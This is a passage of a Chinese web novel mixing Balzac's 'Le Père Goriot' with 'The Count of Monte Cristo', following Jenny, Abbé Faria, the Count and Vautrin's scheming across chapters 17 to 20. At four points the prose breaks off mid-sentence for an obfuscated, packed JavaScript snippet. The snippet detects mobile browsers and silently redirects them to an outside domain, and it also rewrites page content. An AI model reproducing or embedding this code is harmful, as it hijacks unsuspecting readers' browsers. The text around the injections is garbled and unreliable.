女侍端上热咖啡和干面包,盘子里还附赠一碗没搅匀的土豆泥。 伏脱冷用面包沾着土豆泥使干巴的碳水更好入口:“他都当上有爵位的银行家了,总不能把妻子杀掉。” “你咋知道他不能?” “你又说些孩子气的话。”伏脱冷被对方的问题弄得很生气,但又庆幸拉斯蒂涅还没变得难以掌控:“听着,我以前是苦役们的银行家,没人比我更懂那群坐马车的银行家是怎么想的。你若绑了德-纽沁根男爵夫人,她的丈夫必然会付一笔赎金,不然找他打理财产的贵族就会怀疑他把杀妻的手段用在客户身上。” “或是更糟。” 伏脱冷把咖啡喝完,舒服地吐出热气:“德-纽沁根男爵夫人只有一女,她的丈夫既然敢黑高里奥的钱就必须防着和他一样的男人去黑自己的钱。即使没有男人学着他把妻子的嫁妆黑走,也有人会怀疑他的银行就是海市蜃楼,这比怀疑他杀老婆还要糟糕。” 17.第 17 章 拉斯蒂涅的脸上团着一股怨气,既是被伏脱冷的话给打击到了,亦是在为自己的愚蠢感到不值——顶着没用的良心放过腰缠万贯的泰伊番小姐,活成要为别人的妻子疯狂买单的上流笑话。 他几乎是粗鲁的,以灌酒的架势把咖啡灌进自己的肚里。 廉价的酒馆能免费提供的多半也是反复烧开的“刷锅水”,煮到最后都快起了还原反应,喝一口就可以收获黑漆漆的牙——因为上面沾满廉价的咖啡渣。 “你也就冲咖啡撒气的窝囊本事。”伏脱冷在拔掉那张好人皮前就不怎么尊重自诩骑士之后的拉斯蒂涅,如今回归黑色地带,自然是把下三滥的粗俗样给撕开摊平在熟人面前,冲着对方喷射毒液:“谁让我还拿你当个正经朋友,这不搜着转运的机会就找上你吗?” 伏脱冷见拉斯蒂涅的眼睛渐渐亮了起来,想卷烟却忘了自己出门前还特意换上干净外套,只能搁那儿不断搓着捏烟斗的手。 拉斯蒂涅在搬出给他上了一课的伏盖楼后倒也不是没有长进。德-纽沁根男爵夫人已将他的钱包榨到仅剩两日的饭钱可用,但在他除德-鲍赛昂子爵夫人外的头个贵人透露出想放松心情的小暗示后,拉斯蒂涅仍是掏出路易让人端上店里的最好雪茄。 伏脱冷未制止朋友的慷慨相请,笑盈盈地看着对方顶替女侍的剪茄帽活。 “你总算是学到了点巴黎人的办事风格。”这烟绝非能入口的上上之品,即使它是店里最好的西班牙雪茄,也不够让伏脱冷对这份交易感到满意:“我今天在拉丁区和戈布兰区的交界处看到了个与众不同的落魄少女。” “贵族?”伏脱冷虽行事难等大雅之堂,但绝不会无的放矢。 “大概率是。” “什么叫大概率是?”拉斯蒂涅已经快被空架子的巴黎女人给搞崩溃了:“我可不能再养一个但斐娜(德-纽沁根)。” “可但斐娜是你自己选的。”伏脱冷他再次表现得十分冷淡:“我选的是兄弟死后,将会继承百万家私的泰伊番……你记得吗?” 他往空出的咖啡碟上点下雪茄。一旁的女侍见了,张嘴就要素质三连,但在客人掏出还有泥巴味的钞票后便只剩一句干巴巴的“别弄坏了。” “心软的银行家和政客都只配躺进坟墓。”要不是他眼下没有可用之辈,他也不会主动来找还很落魄的拉斯蒂涅:“你也配去同情榨出百万家私的高里奥与不愁吃喝的男爵夫人?” 伏脱冷的目光像看珍奇野兽,令拉斯蒂涅无地自容:“索性你还没有烂到无药可救。” “至少没学你的表姐从巴黎的名利场灰溜溜地离开。” “你若是来挖苦我的,那我也没必要继续干坐下去。”拉斯蒂涅也不是没一点脾气,说罢便要起身离去。 “好吧!不说那些扫兴事儿了,就说我在今天遇到的泰伊番第二。”伏脱冷的记忆力和他挖苦人的本事一样非常出色,不一会儿将今天的遭遇娓娓道来。 拉斯蒂涅听完感到十分奇怪:“你是从哪儿看出个姑娘会是泰伊番第二?” 这不就是搬到城里乡绅千金吗?和他妹妹一模一样。 伏脱冷的白眼几乎翻上了天:“重点是姑娘的出手是否阔绰?重点是姑娘的同伴!那个患有蜡屈症的老人。” “上帝啊!”伏脱冷他庆幸自己没有儿子,否则要是这种蠢货能把他气死:“普通的老人是不会患上蜡屈症的。” “为何?” “因为他们第一次发病时就死了。” 这话吓得一直挨骂的拉斯蒂涅一个哆嗦,整个人也老实不少:“是的!普通的老人根本不会患这种病。” “所以我称今天遇到的小姐是个落魄小姐。”伏脱冷的雪茄抽得差不多了,整个人也恢复了他再见面时的嬉皮笑脸:“她能来就说明巴黎的亲戚不能无视她的继承权,即使不拿她当家族的第一继承者,也要把她当成备胎。” 说罢他还意味深长道:“第二个泰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790039|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊番小姐,很贴切不是吗?” “确实。” 拉斯蒂涅思考了会儿,觉得比起已受其父严密监护的泰伊番小姐(其兄在《高老头》里与伏脱冷的手下决斗而死。其父是个冷酷无情的银行家,为了儿子继承他的全部财产而把女儿赶走,最后因为儿子死了被迫接回赶走的女儿),还是这个不知名的落魄小姐更好下手。 “前提是她确实是沙皇千金,而非冒名的塔拉坎诺娃女公爵(指俄国史上的女皇储事件。沙俄的伊丽莎白一世去世后,有人冒出其与情夫的女儿,结果被关进俄国的彼得保罗要塞。“塔拉坎诺娃”在俄语里是蟑螂的意思,后人为了取笑她而冠以这个不雅绰号)。” ………… “到了。”满眼都是神父安危的珍妮哪知自己成了别人的猎物。她扶着已恢复知觉的神父下车,同行的乘客里不乏几个热心肠想搭把手,结果因为马车夫的叫而被迫放弃:“别搁这儿演骑士精神。” 珍妮与神父前脚站稳,收了她们五法郎的公共马车便迫不及待地送给她们一脸灰尘。 “难为你把我这老人送回了家。”神父显得过意不去,想请珍妮进门喝杯咖啡再走。 “不了,我今晚还有事要忙。”她才交了七法郎一周的饭钱,怎么能让自己的食费全打水漂。 不过瞧着回到家又开始变得活蹦乱跳的神父先生,珍妮又起逗弄之心:“我能问您一件事吗?” 她似乎在神父身上找到逗弄爱德蒙的乐趣。 “请讲。” “是这样的,我明天要拜见住在葛勒南街的斯帕达伯爵和基督山伯爵。” “……” “路易.汤德斯先生和葛勒南街的斯帕达家做过生意,而您作为汤德斯先生的老师,一定知道斯帕达伯爵和基督山伯爵喜欢什么。”珍妮说罢还捧起神父的手,那叫一个满脸期待:“您一定会帮帮我的,对吧!” 想请人到家里坐坐的法利亚神父:“……” 18.第 18 章 自打逃离了伊夫堡后,法利亚神父就觉得自己有必要在祷告室里安一张床,以便自己随时能向上帝忏悔。 “您可真是问到我了。”伊夫堡的日子顶多强过圣伊丽莎白,犯人们的唯一慰藉就是斋日里用狱卒吃剩的边角料熬制出鳕鱼浓汤。在这里做白日梦是很危险的,耽于幻想的最终结果要么是被醒来后的失落感活活逼疯,要么是在潜意识的保护下继续沉沦。 法利亚神父是保持清醒的唯一特例,爱德蒙算半个。 而为消散孤独带来的恐怖威亚,他们的物欲被压缩到了极致,至今都没恢复半分。 “老爷们的亲民表现就是站在螺旋梯上,冲着送货的员工抬起他们快被拉夫领勒出血痕的纤细脖子。”法利亚神父真不愧是意大利人,描述那叫生动形象,手上也快打起快板:“而且还是随时都会崩血浆的那种。” 这一下子从讽刺片闪切到了惊悚喜剧,“为什么会崩出血浆?” “因为蓝血的脆弱性。” 珍妮发誓她从法利亚神父的脸上看到“你为何要问些蠢话”的困惑不已:“我以为在埃及人和罗马人的前车之鉴下,他们会更惜命点。” “比如?” “比如别再近亲结婚?比如别再耳后放个水蛭吸出苍白肤色。”一人就能演部的法利亚神父握住脖子,掉出的舌头吓了珍妮一跳:“薄皮肤,细脖子,配上传了几十手已洗得发硬的拉夫领。” 神父收回吊死鬼的滑稽表情,不再去吓可怜的珍妮:“言归正传,你要是想送些什么,就送……” “呃……” “就送…… 原谅神父跟爱德蒙当了数年的狱友都不清楚这个养子到底喜欢什么:“……糖?” 他完全是不确信道。 “伯爵喜欢吃糖?”这倒符合人们对贵族们的刻板印象。 “不能说是喜欢,只能说是并不讨厌。”法利亚神父第一次在珍妮面前叹了口气——总不能说爱德蒙他喜欢吃鱼,这到底是戳心窝呢!还是戳心窝:“再贵的也没法送啊!” 这倒不是故意挖苦,而是在为双方考量:“你送糖果只需回顿不错的饭,送件珠宝可就花不小的气力准备回礼。”指指对方又指指自己,“无论是对送礼者还是收礼者都太麻烦了。” 神父像是贴心的长辈,但珍妮觉得他一定是话里有话:“我明白了。” 她似乎是下了某种艰难决定:“说来有些难以启齿。” 法利亚神父见此也是严阵以待。 “您能教我意大利语吗?“ 以为对方要提什么过分要求的神父因此大脑宕机。 “难以开口?”不知过了多久他才找回声音。 “家庭教师可不便宜。”珍妮也很好奇对方猜她想说些什么:“而且我也没有路子确定一个老师是否物超所值。” “我听说你想当作者。”法利亚神父没有立刻答应,而是扯起其它话题:“怎么现在又想去学意大利语。” “人总得做两手准备。”珍妮小小地恭维他道:“文艺复兴的发源地有最好的老师。” “英格兰的地上有最好的舌头。”法利亚神父也不是想为难珍妮,但是看着对方被噎还是很高兴的:“奉承的话可别说多了。” 瞧着珍妮没搞懂的样子又是叹了口气:“你难道在爱……路易前会奉承他的英俊潇洒,有勇有谋?” “不会。” 神父刚想接上一句“你看吧!”,就被对方的补充堵回要说的话:“我赞美他是个好人。” 欲言又止?不,应该说是欲言被止的法利亚神父再次感到大脑宕机。 “小姐。“他以一种审视的态度去看珍妮:“你为何会这么说他。” “因为他需要。”原著里的伯爵就像童话里的蓝胡子,最痛苦的不是被复仇的怒火整日煎烤,而是他在大仇得报前差点变成怪物。 “你觉得他需要?” “我觉得他需要。” 理智告诉珍妮不能说得太多,但是想想爱德蒙的帮助,她又觉得有必要再说上几句。 即使这会戳破她想隐藏的事。 “好姑娘。”法利亚神父有意忽略珍妮身上的诸多的疑点。 “你谬赞了。”珍妮对此十分心虚:“我只是个趋炎附势的小人。” “不不不,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811905|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可不是谬赞。”神父又成一人能演滑稽剧的古怪老人:“相信我。在我长达几十年的人生里,你的‘恶行’几乎就是小孩打闹。” 这次轮到珍妮沉默。 “包括妄想?” 她几乎是轻不可闻道。 “亲爱的。“法利亚神父很无奈道:“妄想要是能做罪证,地狱里就无处落脚。” ………… 收到消息的爱德蒙风尘仆仆地赶回他在戈布兰区的小公寓时,口信里被屈蜡症再次击倒的神父躺在待客厅的老沙发上,一边捶着掉漆的扶手,一边拿着杂志搁那儿哈哈大笑。 “你回来了?”听到动静的神父缩回凳子上的脚,但却没有起来的意思。 确定神父真没事的爱德蒙也松了口气:“您可真是吓死我了。” 法利亚神父在养子准备喝咖啡时冷不丁道:“你要这么轻易死了,我就考虑收养那位博林小姐。” “咳咳!”差点要洗新衬衫的爱德蒙赶紧放下咖啡杯道:“您见过她?” “事实上是她把我给送回家的。”神父已经很久没见爱德蒙像毛头小子:“我还以为基督山伯爵把爱德蒙.唐泰斯给抹杀掉了。” 这话轻的像声嘀咕。 “您说什么?” “没什么。”法利亚神父转移话题道:“说说明天的小会面吧!”今晚就得驱车赶回葛勒南街,“你要如何安排那个博林小姐。” 爱德蒙用“皮球怎么滚到我这儿”的眼神看着法利亚神父:“我以为得由您决定。” 虽然二者越狱前已说好平分神秘宝藏,但是到了伊夫堡外,爱德蒙仍像个学生,每次动钱都要问过神父的意思“原谅我连斯帕达主教都没见过。” 末了他还小心问道:“您有与她聊过宝藏?”一想到他夺了一个小姑娘的希望就面色发赤。 “你都不想开口问的事情为何要我去问。”神父也是闹起脾气:“遗嘱的存在不就是为解决争端?” 爱德蒙想仰天长叹:“那也得看人家认否。” 话虽如此,可他知道这不过是自欺欺人—— “最重要的是你的心里是否踏实。” 19.第 19 章 伏盖公寓的晚饭真是一门平衡的艺术,无论是对伏盖太太还是住客而言,这都卡在堪堪容忍的及格线上——西尔维那汗手总要楷些油的胖厨娘用大学城里的淘汰品做了锅让所有人都一言难尽的洋葱汤。 之所以说一言难尽,是因为用勺子贴着碗底搅出内容物后,你只能从颜色分辨哪些是肉,哪些是菜,更细的就没发认了。 “这简直比英国菜还一言难尽。”伏盖太太如老牛喝水般地尝了口,珍妮可以看到她的汤勺里仅覆盖层白色的沫,也不知是未除尽的血水还是滚起来的奶油泡沫:“上帝啊!你还是个法国人吗?” 始作俑者倒是没有丝毫歉意,反而吃得津津有味:“知足吧!” 她用力将硬得能与牛皮一拼的香肠切成好几小块,将其泡在汤里吃得津津有味:“在我一人做完顶楼的大扫除后,还能烧顿能入口的饭就谢天谢地吧!” “要不你把厨房的活计转交给我。”坐在末尾的克里斯托弗兴高采烈道:“我下午可不比你忙。” 此话一出,喜欢互怼的伏盖太太和西尔维异口同声道:“不了。” 她们默契地对视了眼,最后由伏盖太太很不屑道:“西尔维是忙起来就喜欢折腾我们的胃,但你是把我们当成牲口折腾。” “嗨!”克里斯托弗十分粗鲁道:“这未免也太侮辱人。” 伏盖太太没有理他,而是看向右手的珍妮。 除了打包的汉卡贝根地,她只吃了调味很少的托斯卡纳沙拉,半碗撇掉不明浮沫的洋葱汤。 西尔维对斤斤计较的伏盖太太是一副面孔,对出手阔绰的珍妮又是另一幅面孔。瞧,在座的各位有且仅有珍妮的汤是撇过沫的,对比其它的餐盘活似“混拼”的猪槽,西尔维对珍妮的偏爱有目共睹。 “我的员工都把你当女王待了。”伏盖太太酸溜溜道:“过几日就没人拿我当一回事。” 研究菜色的珍妮回道:“我想巴黎的公证人不会支持我对您的资产主张。” 末了她还很犹豫道:“您要是对我有意见,我可以从公寓搬走。” 伏盖太太想起来自葛勒南街的邀请,脸上的肌肉微微一抽。 “好吧!这也是句大实话。”她很快就找到合适的台阶下:“你知道的,我不善于开玩笑。” 说罢看向上一秒还她拌嘴的西尔维,后者也是难得给了雇主面子:“众口难调。” 她故意用汤勺弄出很大声音:“没准有人喜欢这些。” 克里斯托弗的呼吸一滞,果不其然地看到一张由阴转晴再转阴的肥白面容。 “还没睡就先梦魇了。”不知是谁很清晰地嘀咕了句。 这一餐可太精彩了。 精彩到让珍妮后悔没有带个本子把这幕记下。 ………… 葛勒南街的斯帕达伯爵府(原德-鲍赛昂子爵府)绝对是比戈布兰区的公寓舒服。后者因为保密要求而没请仆人,只是定期有人上门收拾屋子。 “要不您就别回去了?”两人在车上换上伯爵的衣服,装出一副风尘仆仆的样子骗过府里的仆人:“有热汤吗?” 爱德蒙把帽子摘下,符合身份地抱怨道:“晚上的巴黎比伦敦更糟。” 他把外套递给管家,看着回来依旧瘫着的神父将两脚伸到壁炉旁:“可别烤的衣服着火。” 每年死在这上面的人可绝不算少,而且是以女性居多。 “放心,要烧也是先烧地毯。”神父看着烤成橘色的脚尖问道:“再切半只烤鸡给我,我现在饿得能吃一头牛。” 管家很快离开并让两个女仆端着宵夜上来。 在家吃可不必讲究。除了要求的热汤烤鸡,盘子里还有些烤焦的玛德琳蛋糕,显然是被加热后再端上来的。 “真是拿人当孩子看。”神父看向同样坐下的爱德蒙,后者冲女仆问道:“厨房里没白面包了?” 女仆的脸上闪过一抹尴尬之色。 管家见状还有什么不明白的:“我马上让厨子去烤。” 他在女仆离开前瞪了她眼,警告她别乱说话。 “别,就这样吧!”爱德蒙没错过这一眼神交锋:“你们给圣-日内维新街的博林小姐送了信没?” “送了。” 虽然知道答案是啥,但还是得走流程地问上一句:“有想过要如何招待?” 管家不知伯爵们的邀请目的,但是瞧着珍妮的住处,他也没把珍妮的到访当一回事儿,如往常般随便应道:“想过。” 撕鸡肉的爱德蒙看了他眼,随即又专注手上的食品加工。 管家见他没有说话,也就没把这些插曲放在眼里。 “感觉如何?”神父在旁人走后随口问道:“是不是能理解你的同僚、邻居为何害你?” 爱德蒙把鸡肉咽下,很不情愿地点了点头:“但也有像莫雷尔船主般的好人。” 法利亚神父耸了耸肩,剥掉蛋糕的焦皮道:“你还记得我与你说的第一句话吗?“ 换做别人肯定会对这话感到十分无语——谁会闲得去记这个。但是他们曾经的日子刻骨铭心,以至于在神父问后,爱德蒙他很快答道:“谁把上帝和绝望放在一块儿说。” 想起那段痛苦过往,爱德蒙的肠胃随之抽搐:“我那时想饿死自己。” 这也是他如此削瘦的主要原因,“我要是再晚几天听到床下的凿地声,或是您没算错通往伊夫堡外的地道方向……” “兴许现在就不会有斯帕达伯爵和基督山伯爵。”神父接上爱德蒙他没说完的话:“你瞧,上帝就是这么奇怪,好似只要是个人就打磨一下。” “这话从一神父的嘴里说出可就太奇怪了。” “至少比起中世纪的教皇所做过的缺德事,这点不敬也不算什么。” 神父似乎想到什么,莫名其妙地笑出了声:“博林小姐也曾说过相似的话。” “她?” “但不是在质疑我对上帝的不敬,而是质疑她自己。” 爱德蒙很好奇一个年轻的姑娘为何产生自我怀疑,但是他所经历的事曾逼迫一个基督徒主动自|杀,所以珍妮会说这种丧气的话也很正常吧! ………… “阿嚏!”修文的珍妮莫名其妙地打个喷嚏:“谁在念我?” 她把鼻子揉成红色,但没感到特别的痒。 “也许是天太冷了。”珍妮把窗户关上,摸着还有热气的咖啡并灌下几口。 ………… 第二日来叫她的不是拿钱办事的西尔维或克里斯托弗,而是不知为何激动的伏盖太太:“你可别让伯爵好等。” 熬到夜里的提灯人都靠墙小憩才睡上觉的珍妮打着哈欠问道:“这么早?” 陀螺似的伏盖太太扯开窗帘,刺目的阳光把珍妮照得开始流泪。 “太亮了。”她伸手去遮挡了下,过了会儿才习惯光线,然后看到容光焕发的伏盖太太——崭新的罩裙,缝隙里有小铜绿的首饰。肥白的脸上倒没上粉,但在两个大口袋似的眼袋下扫着浓浓的胭脂红。 她一动就飘出浓烈的香精味,整个人被勒成一根短香肠,用开司米的披肩将其松松束住。 珍妮被这打扮惊得目瞪口呆。 对了,伏盖太太还做了头发,看见珍妮的惊讶色后十分羞涩地拨弄挡着肥厚耳廓的灰色小卷:“我昨晚弄的。” 没人问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825388|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。 回过神的珍妮已经明白对方想干什么:“您也要去葛勒南街的斯帕达府?” 对方到底是她房东,也不好说“人家压根没邀请你,所以你去岂不算是不请自来”。 珍妮一边穿戴整齐,一面想着应对之策:“顺路的话也不能保证把你送到目的地。” “我不过是担心你罢!”伏盖太太知道珍妮想甩自己,但还是想厚脸皮道:“你一姑娘都得有人陪着上门。” 她在珍妮快出门前抓紧对方,强迫后者与之做出手挽手的亲密姿态。 因为要去斯帕达府,抠搜的伏盖太太忍痛送了顿免费早餐,但是珍妮并不想吃,最后还是如嚼干蜡地吃了半块抹黄油的面包。 圣-日内维新街绝不算是喧闹之处,但是一辆高级马车停这儿还是惹人瞩目。 伏盖太太激动到在马夫询问“谁是博林小姐”时抢先答道“我就是,我就是。” 说罢就要抢先上去,结果却被车厢里的女士抬手拦住:“伯爵只请博林小姐。” 女人比伏盖太太略小几岁,但也是个皱纹难掩的中年女人。 对比车里的女士从头到脚一丝不苟,伏盖太太是那样可笑。 “女士。”对方的声音让人想到宗教女校的严厉老师:“请不要让我们为难。” 她递给了伏盖太太四|五法郎,将其从昨晚燃起至今早达到鼎盛的兴奋彻底浇灭。 “好,好吧!” 伏盖太太十分艰难地松开手。 珍妮觉得她有必要换个住处。 ………… 葛勒南街的道路宽得让人怀疑这是商业区,而且不似圣-日内维新街有一条斜坡,全是用钱砸出来的宽阔平整。 兴许还有权力在其背后辅助。 “两位伯爵都在这儿吗?”已经见过“鱼贩马甲的珍妮好奇“伯爵”版爱德蒙.唐泰斯是什么样子,以及神父会不会与之前的形象判若两人。 “都在。”管家瞧着昨晚提到的访客也是内心大安——呵!肯定是来打秋风的。 基督山伯爵倒是没在看起来就十分气派的双旋梯上居高临下地迎接她,而是让人将她带到有一面接小花园的会客厅里。 “欢迎您,博林小姐。”等候已久的基督山伯爵在珍妮进来的第一时间就点头致意。 好奇心被拉到顶峰的珍妮如愿看到了以“基督山”的马甲示人的爱德蒙。 然后…… 她眼里的期待立刻灭了。 好吧!文化差异堪称天堑。 甭管原著用多少笔墨描述基督山伯爵的风度翩翩与足智多谋。 但是…… 但是! 他不能有小、胡、子。 仅凭这点,珍妮就判胡子刮得干干净净的路易.汤德斯胜。 “感谢您在百忙之中邀请我到贵府做客。” 比起有着忧郁气质的路易.汤德斯,基督山伯爵的“年纪”应该更大一点,约莫是在三十五、六。除了一圈咋看咋碍眼的八字胡须,他的鼻子也比路易.汤德斯要高出一点,是个能做速写模板的大鼻子。 再往细看,他的眉毛颜色也比路易.汤德斯要浅,肤色也更接近玉色而非路易.汤德斯的苍白。 走贵族路线的马甲似乎自动上了“花花公子”的BUFF,见面不过三秒就开始夸赞珍妮的美丽:“请别人是抽出空,请美女是腾出空。” 他的眼里仿佛是有星辰闪烁:“见到您的第一眼,我就知道再长的等待都是有价值的。” 这话说得声情并茂,但珍妮看着末端翘起的八字胡没一点触动:“你谬赞了。” 她完全是干巴巴道。 20.第 20 章 德-鲍赛昂子爵夫人的庭院应是埃德蒙在搬进来后唯一没有大改的地方。作为巴黎的社交皇后,她的品味毋庸置疑,细节上也透露出了掮客们的一点巧思——尽可能地避免棱角、冷色以降低对方的防备心,然后用罗马式的小喷泉,日式的惊鹿来保证谈话的隐私性。 “怪诞的英国派头。”珍妮抵达伯爵府前,神父就对养子的品味提出异议:“法国人从意大利那儿了解到了什么是美,而英国佬是法国人的……” 说嗨了的神父终于看到养子的表情不是那么轻松愉快。 “神父。”爱德蒙已脱下他的暗蓝外套:“你不喜欢法国的学生做英国打扮?” “天哪!你为何做英国打扮?”神父用看圣伊丽莎白终身会员的眼神看着自己的养子:“英国佬都没法做出像样的菜。” 他的语气尖酸刻薄不像神父:“听我的,她会像罗西娜爱阿尔马维瓦伯爵(出自《塞尔维亚的理发师》)般被你迷得神魂颠倒。” 爱德蒙在神父开始絮絮叨叨时便已有了疲惫之色,只是为了应付对方而有一下没一下地点着脑袋:“嗯?” 他终于从神父的话里察觉到了一丝不对:“您不会想效仿那位瓦伦丁吧!” “显而易见。”神父对养子的反应非常满意:“珍妮比你有趣的多。” 学习之余的爱德蒙就两种反应——惊讶与无奈。 “哪怕是从父亲的角度来看待你,也不能从金色的漆下挖出一个有趣的灵魂。” “嘿!你这话可太伤人了。”爱德蒙将他常见的两种表情混为一体:“自打见了珍妮.博林,你就像个偏心的父亲。” “看来我对珍妮的喜爱引起你的一丝不满。”神父居然很高兴道:“这就是做父亲的感觉。” 爱德蒙很庆幸他的亲生父亲有且仅有一个孩子。 ………… 出师不利的基督山伯爵开始理解神父为何按住想要马上复仇的他——如果连珍妮这种年轻的姑娘都没法应付,他在已经阶级跃迁的仇敌那儿也无所遁形。 无往不利的开场白在珍妮这儿受了冷遇,伯爵只能转身走向放酒的柜子:“气泡酒还是葡萄酒?” “哪里产的?” “阿尔萨斯-洛林。”基督山伯爵再次回头,这次他从珍妮的眼中看到了丝隐隐的试探:“春天的味道。” 他用右手夹着两只杯颈细长的阿尔萨斯杯。 石榴色的液体倒进纯银的醒酒器里,很快便有微酸的果味慢慢晕出。 珍妮看出伯爵的窘迫:“汤德斯先生的神父建议我选榅桲软糖做见面礼。” “路易的老师?”基督山伯爵的语气惊讶中又带了丝意味深长:“那可是个热心肠的人。”一大早就薅他起来梳妆打扮,活似迎接娃娃选美的固执小孩,“就是有些太热情了。” 珍妮本想绷紧脸同对方互演,但是提到神父便很忍俊不禁:“毕竟他是père(法语里的神父和父亲有着相同的口头表达)。” 基督山伯爵抬手去抹上扬的嘴角。 他的易容真可谓是精妙绝伦,但是眼睛连同一段鼻骨却没太大变化。 “大人,可允许我冒昧一问?” “请讲。” 珍妮指着眼睛以及没入额头的鼻骨问道:“您是否和汤德斯先生有亲戚关系?” “……”爱德蒙在设计他的新身份时有考虑让路易.汤德斯作为伯爵的表亲活动:“我和他有相似的眼睛?” 基督山伯爵此前表现得温和有礼,但是听到珍妮说他长得像是马赛的渔夫,笑容便以抽丝的速度慢慢隐去:“这可真是太荣幸了。” 傻子都能听出他的强烈不满。 珍妮对此非常困惑——路易.汤德斯难道不是爱德蒙的马甲之一?《基督山伯爵》的故事结尾是男主不仅放弃伯爵的高贵身份,甚至连一亿宝藏都几乎送了个干干净净。如果没有蝴蝶效应改变男主的出厂设置,那么只有一种结论来解释这事儿。 “先生,您听说过欧也纳·德·拉斯蒂涅骑士吗?他是这栋豪华府邸的前主亲戚。”虽然猜到基督山伯爵是为何生气,但是珍妮很快面临着新的难题——大副出身的爱德蒙肯定不喜贬低平民的傲慢之语,况且这也不符珍妮的亲民形象。而要是从另一角度做出符合当下情况的道歉反应,又怕对方以为她是表里不一,趋炎附势的小人。 屮! 面上挂着淑女笑容的珍妮心里幻化出了满嘴脏话的咆哮野兽。 反观对面的基督山伯爵则是在心里默默地为自己的所作所为而感到抱歉——为完善贵族的马甲,同时也为避免两个马甲必须同台出镜,他必须把傲慢纹进胡子与帽无法遮掩的微笑颊上:“听过。”但是因为名声不显,他花了些时间把名字与脸对得上号。 爱德蒙对珍妮的感官相当不错,所以顶着基督山伯爵的皮囊委婉劝道:“不过都是负面的评价。” 阶级固化的十九世纪可比现代还要遵循权力是靠“血脉与性”生生不息。 拉斯蒂涅或许曾是有尊严的“巴漂”青年,期待着以骑士的姿态名垂青史,然而经过伏盖公寓的小小调教,他没变成伏脱冷或泰伊番第二都算是上帝还未放弃拯救这个可悲的灵魂——虽然后者并不因为自己的言行而感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890952|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到可悲。他只会为自己的出身,以及花了如此之多的金路易都没能获得上流地位而感到可悲。 “先生,我无意去抢夺一位男爵夫人的忠实情人。”珍妮知道对方不会泄露他们的谈话内容,但她仍是有心计地做出一副急于解释的羞愤模样:“我的意思是……” 珍妮的脸颊因语塞涨成猪肝色。得亏现在还没电影,否则光是这段表演就值一个大满贯:“再有钱的富豪都有一个袜子破洞的穷亲戚,再伟大的圣人都有一个糟心的家。” 如果不是身份使然,爱德蒙会为她送上热烈掌声——太有才了。 虽然是对珍妮带了梅塞苔丝的少年滤镜,但是经过伊夫堡的龙场悟道与神父的教导,他多少能察觉对方并不是他日思夜想,在回忆中逐渐完美的初恋情人。 奇怪的是,他既觉得珍妮的身上有梅塞苔丝的影子,但却没有厌恶不像的狡黠部分。 “我想将军并不是因个人的勇猛成为将军。”珍妮想从对方的脸上读到更多的心理活动:“德-鲍赛昂子爵夫人的遭遇固然可惜,但是她让表弟进入社交界的行为是没有错的。” 该死的,那个丑到她想拿刀细细刮去的胡子真是掩盖表情的完美道具。 基督山伯爵知道她是暗示自己提供一点微不足道的帮助。 可怜的姑娘。 他在心里默默叹道。 除了一个无意提起的远房亲戚,她竟没有别的人可拉她一把。 “如果我是品行高洁的寡妇或德-鲍赛昂子爵夫人,兴许能在你成年前作为你的监护人。”如何安置珍妮也是一大难题。抛开性别的问题不谈,他也不能让一外人影响他的复仇大计。 珍妮也没登堂入室的超厚脸皮,更不会去分割原著的一亿宝藏:“大树底下好乘凉。” 她不安地搅动手指,脸上的温度愈来愈高:“我也不会求您待我如同亲女。” 亲女? 这话真的打击到了基督山伯爵。 联系见面的冷场风波,他才发现珍妮看他与之前看路易.汤德斯完全不同,后者多少带了一丝少女的娇羞,而前者的…… 前者与他看待曾经的老板也没太大差别,真就是一尊敬中又充满期待的…… 社畜眼神。 “好吧!好吧!”努力不把重心放在年纪上的基督山伯爵做出一副贵人多忘事的不耐表情:“我听说你想当……学者?画家?还是作家?” “作家。”他们终于聊到重点:“我一直对写作有着浓厚兴趣。” 为了明年的衣食住行,她是真的没空演了:“还请您帮忙牵线,作保。” 21.第 21 章 